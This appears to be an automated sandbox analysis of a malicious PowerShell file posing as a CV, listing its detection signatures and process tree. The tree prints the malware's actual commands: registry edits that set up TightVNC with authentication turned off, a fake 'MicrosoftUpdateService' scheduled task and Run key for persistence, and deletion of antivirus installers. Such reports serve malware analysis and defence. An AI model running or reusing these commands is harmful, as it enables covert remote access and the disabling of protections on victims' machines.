2a79e792091dc3aafe657efa3e4feacd5ddc10fecae3f39fabf8aa2cbefa6fcc

Analysis

max time kernel
990s
max time network
973s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
17/04/2023, 15:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

curriculum-vitae (4).ps1
Size

2.0MB
MD5

f901a674353cc0239c1b514f72ac2be7
SHA1

0d5ea97c70e3a80f7cbb39d995178a642a76ac0d
SHA256

2a79e792091dc3aafe657efa3e4feacd5ddc10fecae3f39fabf8aa2cbefa6fcc
SHA512

b68c00ff2ef254c8c132f6e86afcda4a562581127f35c9f2215bf5e1f9fc622628cad80756c5bf388cbc2274024096b5de7df4d0669ed53ef1331578ab154748
SSDEEP

24576:ffp1FJCuhs5/M8OIGlkS5FnPOOetBW828JI+hece6diDwfdcLo8nPUvTpZXj9:ffXFM5uEnxheY6LbsVb

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
38	1044	powershell.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	Process not Found
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	Process not Found
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	Process not Found
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	Process not Found
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	Process not Found
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	Process not Found

Executes dropped EXE 2 IoCs

pid	Process
2000	winsecsvc.exe
1364	winsecsvc.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdateService = "wscript.exe C:\\Users\\Public\\windowsnt\\winupdate.vbs //b //nologo"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Software\Microsoft\windows\currentversion\run	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
324	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3932	Process not Found

Modifies registry key 1 TTPs 32 IoCs

Modify Registry

T1112

pid	Process
4940	reg.exe
4552	reg.exe
4888	reg.exe
5084	reg.exe
1348	reg.exe
4992	reg.exe
2372	reg.exe
5012	reg.exe
2200	reg.exe
5036	reg.exe
1308	reg.exe
3976	reg.exe
4136	reg.exe
3940	reg.exe
8	reg.exe
2808	reg.exe
3580	reg.exe
4680	reg.exe
872	reg.exe
1468	reg.exe
4572	reg.exe
3824	reg.exe
2644	reg.exe
5024	reg.exe
1688	reg.exe
3008	reg.exe
4464	reg.exe
1744	reg.exe
1112	reg.exe
2060	reg.exe
3624	reg.exe
2332	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2272	PING.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1044	powershell.exe
1044	powershell.exe
4184	powershell.exe
5128	Process not Found
5296	Process not Found
5348	Process not Found
1280	Process not Found
5968	Process not Found
5416	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeIncreaseQuotaPrivilege	4908	WMIC.exe
Token: SeSecurityPrivilege	4908	WMIC.exe
Token: SeTakeOwnershipPrivilege	4908	WMIC.exe
Token: SeLoadDriverPrivilege	4908	WMIC.exe
Token: SeSystemProfilePrivilege	4908	WMIC.exe
Token: SeSystemtimePrivilege	4908	WMIC.exe
Token: SeProfSingleProcessPrivilege	4908	WMIC.exe
Token: SeIncBasePriorityPrivilege	4908	WMIC.exe
Token: SeCreatePagefilePrivilege	4908	WMIC.exe
Token: SeBackupPrivilege	4908	WMIC.exe
Token: SeRestorePrivilege	4908	WMIC.exe
Token: SeShutdownPrivilege	4908	WMIC.exe
Token: SeDebugPrivilege	4908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4908	WMIC.exe
Token: SeRemoteShutdownPrivilege	4908	WMIC.exe
Token: SeUndockPrivilege	4908	WMIC.exe
Token: SeManageVolumePrivilege	4908	WMIC.exe
Token: 33	4908	WMIC.exe
Token: 34	4908	WMIC.exe
Token: 35	4908	WMIC.exe
Token: 36	4908	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4908	WMIC.exe
Token: SeSecurityPrivilege	4908	WMIC.exe
Token: SeTakeOwnershipPrivilege	4908	WMIC.exe
Token: SeLoadDriverPrivilege	4908	WMIC.exe
Token: SeSystemProfilePrivilege	4908	WMIC.exe
Token: SeSystemtimePrivilege	4908	WMIC.exe
Token: SeProfSingleProcessPrivilege	4908	WMIC.exe
Token: SeIncBasePriorityPrivilege	4908	WMIC.exe
Token: SeCreatePagefilePrivilege	4908	WMIC.exe
Token: SeBackupPrivilege	4908	WMIC.exe
Token: SeRestorePrivilege	4908	WMIC.exe
Token: SeShutdownPrivilege	4908	WMIC.exe
Token: SeDebugPrivilege	4908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4908	WMIC.exe
Token: SeRemoteShutdownPrivilege	4908	WMIC.exe
Token: SeUndockPrivilege	4908	WMIC.exe
Token: SeManageVolumePrivilege	4908	WMIC.exe
Token: 33	4908	WMIC.exe
Token: 34	4908	WMIC.exe
Token: 35	4908	WMIC.exe
Token: 36	4908	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1068	WMIC.exe
Token: SeSecurityPrivilege	1068	WMIC.exe
Token: SeTakeOwnershipPrivilege	1068	WMIC.exe
Token: SeLoadDriverPrivilege	1068	WMIC.exe
Token: SeSystemProfilePrivilege	1068	WMIC.exe
Token: SeSystemtimePrivilege	1068	WMIC.exe
Token: SeProfSingleProcessPrivilege	1068	WMIC.exe
Token: SeIncBasePriorityPrivilege	1068	WMIC.exe
Token: SeCreatePagefilePrivilege	1068	WMIC.exe
Token: SeBackupPrivilege	1068	WMIC.exe
Token: SeRestorePrivilege	1068	WMIC.exe
Token: SeShutdownPrivilege	1068	WMIC.exe
Token: SeDebugPrivilege	1068	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1068	WMIC.exe
Token: SeRemoteShutdownPrivilege	1068	WMIC.exe
Token: SeUndockPrivilege	1068	WMIC.exe
Token: SeManageVolumePrivilege	1068	WMIC.exe
Token: 33	1068	WMIC.exe
Token: 34	1068	WMIC.exe
Token: 35	1068	WMIC.exe
Token: 36	1068	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe
1364	winsecsvc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1044	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1044 wrote to memory of 2272	1044	powershell.exe	84
PID 1044 wrote to memory of 2272	1044	powershell.exe	84
PID 1044 wrote to memory of 3280	1044	powershell.exe	93
PID 1044 wrote to memory of 3280	1044	powershell.exe	93
PID 3280 wrote to memory of 3320	3280	csc.exe	94
PID 3280 wrote to memory of 3320	3280	csc.exe	94
PID 1044 wrote to memory of 4428	1044	powershell.exe	95
PID 1044 wrote to memory of 4428	1044	powershell.exe	95
PID 4428 wrote to memory of 2028	4428	cmd.exe	96
PID 4428 wrote to memory of 2028	4428	cmd.exe	96
PID 2028 wrote to memory of 1636	2028	cmd.exe	97
PID 2028 wrote to memory of 1636	2028	cmd.exe	97
PID 2028 wrote to memory of 1580	2028	cmd.exe	98
PID 2028 wrote to memory of 1580	2028	cmd.exe	98
PID 1044 wrote to memory of 1720	1044	powershell.exe	99
PID 1044 wrote to memory of 1720	1044	powershell.exe	99
PID 1720 wrote to memory of 4908	1720	cmd.exe	101
PID 1720 wrote to memory of 4908	1720	cmd.exe	101
PID 1720 wrote to memory of 4496	1720	cmd.exe	100
PID 1720 wrote to memory of 4496	1720	cmd.exe	100
PID 1044 wrote to memory of 2744	1044	powershell.exe	102
PID 1044 wrote to memory of 2744	1044	powershell.exe	102
PID 2744 wrote to memory of 3624	2744	cmd.exe	103
PID 2744 wrote to memory of 3624	2744	cmd.exe	103
PID 2744 wrote to memory of 2200	2744	cmd.exe	104
PID 2744 wrote to memory of 2200	2744	cmd.exe	104
PID 2744 wrote to memory of 1308	2744	cmd.exe	105
PID 2744 wrote to memory of 1308	2744	cmd.exe	105
PID 2744 wrote to memory of 3008	2744	cmd.exe	106
PID 2744 wrote to memory of 3008	2744	cmd.exe	106
PID 2744 wrote to memory of 3940	2744	cmd.exe	107
PID 2744 wrote to memory of 3940	2744	cmd.exe	107
PID 2744 wrote to memory of 3824	2744	cmd.exe	109
PID 2744 wrote to memory of 3824	2744	cmd.exe	109
PID 2744 wrote to memory of 8	2744	cmd.exe	108
PID 2744 wrote to memory of 8	2744	cmd.exe	108
PID 2744 wrote to memory of 2644	2744	cmd.exe	110
PID 2744 wrote to memory of 2644	2744	cmd.exe	110
PID 2744 wrote to memory of 5036	2744	cmd.exe	111
PID 2744 wrote to memory of 5036	2744	cmd.exe	111
PID 2744 wrote to memory of 5012	2744	cmd.exe	112
PID 2744 wrote to memory of 5012	2744	cmd.exe	112
PID 2744 wrote to memory of 4992	2744	cmd.exe	113
PID 2744 wrote to memory of 4992	2744	cmd.exe	113
PID 2744 wrote to memory of 3976	2744	cmd.exe	114
PID 2744 wrote to memory of 3976	2744	cmd.exe	114
PID 2744 wrote to memory of 2808	2744	cmd.exe	115
PID 2744 wrote to memory of 2808	2744	cmd.exe	115
PID 2744 wrote to memory of 2332	2744	cmd.exe	116
PID 2744 wrote to memory of 2332	2744	cmd.exe	116
PID 2744 wrote to memory of 2372	2744	cmd.exe	117
PID 2744 wrote to memory of 2372	2744	cmd.exe	117
PID 2744 wrote to memory of 3580	2744	cmd.exe	118
PID 2744 wrote to memory of 3580	2744	cmd.exe	118
PID 2744 wrote to memory of 4552	2744	cmd.exe	119
PID 2744 wrote to memory of 4552	2744	cmd.exe	119
PID 2744 wrote to memory of 4680	2744	cmd.exe	120
PID 2744 wrote to memory of 4680	2744	cmd.exe	120
PID 2744 wrote to memory of 4888	2744	cmd.exe	121
PID 2744 wrote to memory of 4888	2744	cmd.exe	121
PID 2744 wrote to memory of 1744	2744	cmd.exe	122
PID 2744 wrote to memory of 1744	2744	cmd.exe	122
PID 2744 wrote to memory of 1112	2744	cmd.exe	123
PID 2744 wrote to memory of 1112	2744	cmd.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\curriculum-vitae (4).ps1"
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1044
- C:\Windows\system32\PING.EXE
  "C:\Windows\system32\PING.EXE" -n 90 127.0.0.1
  2⤵
  - Runs ping.exe
  PID:2272
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\txjdra5w\txjdra5w.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3280
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5C63.tmp" "c:\Users\Admin\AppData\Local\Temp\txjdra5w\CSC339D91D6D75245BDA63E3798A9A45A2B.TMP"
    3⤵
    PID:3320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c for /f "tokens=3-10" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v productname ^| findstr /ri "REG_SZ"') do @echo %a %b %c %d %e %f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v productname | findstr /ri "REG_SZ"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v productname
      4⤵
      PID:1636
  - - C:\Windows\system32\findstr.exe
      findstr /ri "REG_SZ"
      4⤵
      PID:1580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c wmic cpu get name|find /v "Name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\system32\find.exe
    find /v "Name"
    3⤵
    PID:4496
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get name
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4908
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c reg delete HKCU\Software\TightVNC\Server /f & reg add HKCU\Software\TightVNC\Server & reg add HKCU\Software\TightVNC\Server /v QueryTimeout /t REG_DWORD /d 30 & reg add HKCU\Software\TightVNC\Server /v QueryAcceptOnTimeout /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v LocalInputPriorityTimeout /t REG_DWORD /d 3 & reg add HKCU\Software\TightVNC\Server /v LocalInputPriority /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v BlockRemoteInput /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v BlockLocalInput /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v RfbPort /t REG_DWORD /d 5900 & reg add HKCU\Software\TightVNC\Server /v HttpPort /t REG_DWORD /d 5800 & reg add HKCU\Software\TightVNC\Server /v DisconnectAction /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v AcceptRfbConnections /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v UseVncAuthentication /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v UseControlAuthentication /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v RepeatControlAuthentication /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v LoopbackOnly /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v AcceptHttpConnections /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v LogLevel /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v EnableFileTransfers /t REG_DWORD /d 1 & reg add HKCU\Software\TightVNC\Server /v RemoveWallpaper /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v UseMirrorDriver /t REG_DWORD /d 1 & reg add HKCU\Software\TightVNC\Server /v EnableUrM04KNnSum8kmVioMMs /t REG_DWORD /d 1 & reg add HKCU\Software\TightVNC\Server /v AlwaysShared /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v NeverShared /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v DisconnectClients /t REG_DWORD /d 1 & reg add HKCU\Software\TightVNC\Server /v PollingInterval /t REG_DWORD /d 1000 & reg add HKCU\Software\TightVNC\Server /v AllowLoopback /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v VideoRecognitionInterval /t REG_DWORD /d 3000 & reg add HKCU\Software\TightVNC\Server /v GrabTransparentWindows /t REG_DWORD /d 1 & reg add HKCU\Software\TightVNC\Server /v SaveLogToAllUsersPath /t REG_DWORD /d 0 & reg add HKCU\Software\TightVNC\Server /v RunControlInterface /t REG_DWORD /d 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\reg.exe
    reg delete HKCU\Software\TightVNC\Server /f
    3⤵
    - Modifies registry key
    PID:3624
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server
    3⤵
    - Modifies registry key
    PID:2200
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v QueryTimeout /t REG_DWORD /d 30
    3⤵
    - Modifies registry key
    PID:1308
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v QueryAcceptOnTimeout /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:3008
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v LocalInputPriorityTimeout /t REG_DWORD /d 3
    3⤵
    - Modifies registry key
    PID:3940
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v BlockRemoteInput /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:8
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v LocalInputPriority /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:3824
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v BlockLocalInput /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:2644
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v RfbPort /t REG_DWORD /d 5900
    3⤵
    - Modifies registry key
    PID:5036
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v HttpPort /t REG_DWORD /d 5800
    3⤵
    - Modifies registry key
    PID:5012
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v DisconnectAction /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:4992
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v AcceptRfbConnections /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:3976
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v UseVncAuthentication /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:2808
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v UseControlAuthentication /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:2332
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v RepeatControlAuthentication /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:2372
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v LoopbackOnly /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:3580
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v AcceptHttpConnections /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:4552
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v LogLevel /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:4680
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v EnableFileTransfers /t REG_DWORD /d 1
    3⤵
    - Modifies registry key
    PID:4888
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v RemoveWallpaper /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:1744
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v UseMirrorDriver /t REG_DWORD /d 1
    3⤵
    - Modifies registry key
    PID:1112
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v EnableUrM04KNnSum8kmVioMMs /t REG_DWORD /d 1
    3⤵
    - Modifies registry key
    PID:872
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v AlwaysShared /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:1468
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v NeverShared /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:4572
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v DisconnectClients /t REG_DWORD /d 1
    3⤵
    - Modifies registry key
    PID:4136
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v PollingInterval /t REG_DWORD /d 1000
    3⤵
    - Modifies registry key
    PID:4464
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v AllowLoopback /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:4940
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v VideoRecognitionInterval /t REG_DWORD /d 3000
    3⤵
    - Modifies registry key
    PID:5024
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v GrabTransparentWindows /t REG_DWORD /d 1
    3⤵
    - Modifies registry key
    PID:5084
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v SaveLogToAllUsersPath /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:1688
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\TightVNC\Server /v RunControlInterface /t REG_DWORD /d 0
    3⤵
    - Modifies registry key
    PID:1348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks.exe /create /f /tn MicrosoftUpdateService /XML "%public%\WindowsNT\Update.xml"
  2⤵
  PID:1284
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /create /f /tn MicrosoftUpdateService /XML "C:\Users\Public\WindowsNT\Update.xml"
    3⤵
    - Creates scheduled task(s)
    PID:324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c REG ADD HKCU\Software\Microsoft\windows\currentversion\run /f /v MicrosoftUpdateService /t REG_SZ /d "wscript.exe %public%\windowsnt\winupdate.vbs //b //nologo"
  2⤵
  PID:1788
- - C:\Windows\system32\reg.exe
    REG ADD HKCU\Software\Microsoft\windows\currentversion\run /f /v MicrosoftUpdateService /t REG_SZ /d "wscript.exe C:\Users\Public\windowsnt\winupdate.vbs //b //nologo"
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:2060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c wmic process where caption="winsecsvc.exe" get name
  2⤵
  PID:2184
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where caption="winsecsvc.exe" get name
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1068
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4700
- C:\Users\Public\WindowsNT\Common\winsecsvc.exe
  "C:\Users\Public\WindowsNT\Common\winsecsvc.exe" -run
  2⤵
  - Executes dropped EXE
  PID:2000
- - C:\Users\Public\WindowsNT\Common\winsecsvc.exe
    "C:\Users\Public\WindowsNT\Common\winsecsvc.exe" -controlapp -slave
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1364
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3864
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2904
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1980
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1804
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3332
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3888
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4996
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4460
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4736
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2356
- C:\Windows\SYSTEM32\cmd.exe
